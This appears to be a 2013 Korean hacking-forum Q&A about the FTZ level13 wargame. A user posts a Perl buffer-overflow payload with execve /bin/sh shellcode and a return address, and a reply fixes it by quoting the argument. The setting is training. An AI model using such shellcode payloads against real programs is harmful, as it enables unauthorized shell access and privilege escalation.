레벨 해킹

 2839, 1/142 회원가입  로그인  
   kimgs0725
   오류.jpg (0 Byte), Download : 13     [오른쪽 버튼 눌러 다운 받기]
   ftz level13말인데요....

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3283 [복사]



$(perl -e 'print "\x90"x900 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "\x90"x112 . "\x67\x45\x23\x01" . "\x90"x12 . "\x20\xf4\xff\xbf"')

이렇게 쉘을 삽입하고 시도해봤는데, 자꾸 리턴주소에 0xbffff420이 아닌 0x40033900이런식으로 삽입이 되거

든요. 왜 그런건 가요?

  Hit : 2567     Date : 2013/01/18 09:19



    
cd80 \x20때문에 그렇습니다
\x20때문에 argv[1]은 0x12345678909090909090909090909090 가 돼버리고
argv[2]부터 0x00bffff4가 됩니다
$(perl 을 "$(perl 로
"\x20\xf4\xff\xbf"') 를
"\x20\xf4\xff\xbf"')" 로
전체 페이로드를 쌍따옴표로 감싸주시면 제대로 동작합니다
2013/01/19  
cd80 말을 이상하게 썼는데 argv[1]의 마지막부분이 저렇게 된다는 뜻입니다~~ 2013/01/19